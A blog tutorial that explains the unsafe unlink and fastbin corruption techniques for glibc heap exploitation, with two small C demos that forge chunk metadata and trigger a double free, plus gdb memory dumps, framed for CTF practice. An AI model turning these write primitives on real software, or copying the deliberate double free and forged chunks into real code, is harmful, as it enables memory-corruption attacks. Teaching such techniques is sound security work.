Heap Exploitation: Unsafe unlink & Fastbin Corruption

Beatrice

Introduction

In this post, I will introduce the exploitation techniques on unlink and fastbin corruption attack. I will use sample codes, which are similar to the sample code given in [1] to demonstrate how memory layout are manipulated in different techniques.

Unsafe unlink

Unsafe unlink operation is implemented via the following code in libc:

//We list the simplified code of unlink operation on P
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;
}	

If there is no security check in unlink operation, the attacker can craft the BK and FD pointer of the chunk to be freed and gain write-anything-anywhere primitive in the attack.
However, with the security check in place, the scope of the unlink operation becomes very limited. According to the security checks given above, it will check if the BK pointer of P->fd is pointing to P and if the FD of P->bk is pointing to P. If both checks pass, it means that P exists in a doubly linked list. Otherwise, abort message will be given. Now exploitation condition becomes stricter than ever, but it does not mean it is impossible. Therefore, attack needs to craft the FD and BK chunk of the chunk to unlink and gain write-something-somewhere primitive in the end.

//gcc unsafe.c -o unsafe -no-pie
#include<stdio.h>
#include<stdlib.h>

unsigned long bss_array[0x10]; 

int main()
{
	//bss_array is located at 0x601060
	bss_array[0] = 0x602100;
	bss_array[1] = 0x602200;

	unsigned long *p1 = malloc(0x80);
	unsigned long *p2 = malloc(0x90);
	malloc(0xa0);

	//craft metadata of p2 to trigger unlink on crafted chunk
	*(p1+16) = 0x80;
	*(p1+17) = 0xa0;


	//create a crafted chunk
	//set FD and BK to bss_array
	*(p1) = 0;
	*(p1+1) = 0x81;
	*(p1+2) = (unsigned long)(bss_array);
	*(p1+3) = (unsigned long)(bss_array);

	//craft FD and BK of chunk at bss_array
	bss_array[2] = (unsigned long)(p1);
	bss_array[3] = (unsigned long)(p1);
	free(p2);
	return 0;
}

We dump the memory layout to demonstrate how chunks are manipulated.

//memory layout before free
(gdb) x/40gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x0000000000000000	0x0000000000000081 //crafted size
0x602020:	0x0000000000601060	0x0000000000601060 // crafted FD and BK
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
//crafted prev_size, set P of chunk to 0
0x602090:	0x0000000000000080	0x00000000000000a0 
(gdb) x/8gx 0x0000000000601060
0x601060 <bss_array>:	0x0000000000602100	0x0000000000602200
0x601070 <bss_array+16>:	0x0000000000602010	0x0000000000602010 //fake FD and BK
0x601080 <bss_array+32>:	0x0000000000000000	0x0000000000000000
0x601090 <bss_array+48>:	0x0000000000000000	0x0000000000000000

//memory layout after free
0x601060 <bss_array>:	0x0000000000602100	0x0000000000602200 //bss_array[2] and bss_array[3] are overwritten
0x601070 <bss_array+16>:	0x0000000000601060	0x0000000000601060
0x601080 <bss_array+32>:	0x0000000000000000	0x0000000000000000
0x601090 <bss_array+48>:	0x0000000000000000	0x0000000000000000

As mentioned above, attacker has to prepare the data in victim chunk, chunk to unlink and the FD/BK chunk of chunk to unlink in the attack of unsafe unlink. Since unlink operation can only provide write-something-somewhere primitive in the end, we need to combine unlink with other exploitation techniques for a successful exploit.

Fastbin attack

Fastbin attack (or fastbin corruption attack) is an exploitation techniques targeting fastbin in libc. In fastbin chunk management in libc, it uses a LIFO strategy on chunk allocation. In fastbin attack, the attacker usually gets a chunk at some other address for further exploitation.
We use the following code to demonstrate the usage of fastbin attck.

//gcc fast.c -o fast -no-pie
#include<stdio.h>
#include<stdlib.h>

int main()
{
	unsigned long *p1 = malloc(0x60);
	unsigned long *p2 = malloc(0x60);
	unsigned long *p3 = malloc(0x60);

	//double free vulnerability
	free(p1);
	free(p2);
	free(p1);


	//allocate multiple chunks
	unsigned long *pp1 = malloc(0x60);
	unsigned long *pp2 = malloc(0x60);
	
	*(pp1) = (unsigned long)p1 + 0x10;
	*(p1 + 3) = 0x71;

	//trigger fastbin attack
	unsigned long *pp3 = malloc(0x60);
	unsigned long *pp4 = malloc(0x60);

	printf("allocated chunk: %p, %p, %p, %p\n", pp1, pp2, pp3, pp4);
	return 0;
}
//output:
//allocated chunk: 0xb0c010, 0xb0c080, 0xb0c010, 0xb0c030

We dump the memory layout of each step for a better understanding of fastbin attack.

//After triggering the double free vulnerability
0x7ffff7dd3b00 <main_arena>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000602070	0x0000000000000000

(gdb) x/8gx 0x0000000000602070
0x602070:	0x0000000000000000	0x0000000000000071
0x602080:	0x0000000000602000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
(gdb) x/8gx 0x0000000000602000
0x602000:	0x0000000000000000	0x0000000000000071
0x602010:	0x0000000000602070	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000

//After preparing the memory layout
0x7ffff7dd3b00 <main_arena>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000602000	0x0000000000000000

(gdb) x/8gx 0x0000000000602000
0x602000:	0x0000000000000000	0x0000000000000071
0x602010:	0x0000000000602020	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000071
0x602030:	0x0000000000000000	0x0000000000000000
(gdb) x/8gx 0x0000000000602020
0x602020:	0x0000000000000000	0x0000000000000071
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000

//After the allocation of pp3
0x7ffff7dd3b00 <main_arena>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000602020	0x0000000000000000

From the memory layout given above, we can observe that we create a loop in fastbin link list. The FD of 0x602070 is 0x602000, while FD of 0x602000 is 0x602070. The direct result is that chunk at 0x602000 will be still in the fastbin link list after the first time of allocation.
To put it simple, the chunk at 0x602000 is available for attacker to manipulate and exist in the freelist of libc at the same time. So we can craft the FD pointer of the chunk at 0x602000, and trigger the allocation of pp3. After that we can see a fake chunk (0x602020) is put into fastbin.
In the next time of allocation, a chunk at 0x602020 will be retrieved from fastbin for further exploitation.

Due to the security check in fastbin as below. The statement at line 22 in sample code above cannot be removed.

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
        errstr = "malloc(): memory corruption (fast)";

Conclusion

In this post, we give the basic concept of the exploitation techniques on unlink and fastbin attack. In the sample cods given above, we just give the most simplified situation of them. In CTF challenges, we can always observe that the author of challenges hide those information via complicated operation or crafted data structure.

Reference

[1] https://github.com/shellphish/how2heap

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.